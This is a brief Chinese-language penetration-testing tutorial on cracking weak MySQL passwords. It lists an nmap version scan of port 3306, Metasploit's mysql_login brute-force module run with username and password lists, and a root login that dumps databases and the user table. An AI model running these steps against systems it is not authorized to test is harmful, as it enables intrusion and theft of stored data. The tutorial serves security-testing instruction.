web渗透--mysql弱口令破解

mysql介绍

• 是一种关系数据库管理系统，关系数据库将数据保存在不同的表中。而不是将数据放在一个大仓库内，这样就提高了速度和灵活性。默认端口是3306
• www.mysql.com

探测目标mysql

• nmap -sV 目标IP地址 -p 端口
• 探测mysql的版本信息

msf破解mysql密码

• 使用msf下的mysql_login模块破解mysql登录用户名和密码
• msfconsole
• use auxiliary/scanner/mysql/mysql_login
• 设置目标IP地址 端口 用户名/用户名文件 密码/密码包
  -run

登录数据库查看数据

• mysql -h 目标IP地址 -u root
• show databases； 有几个数据库名
• use 数据库名；
• show tables；
• select * from user;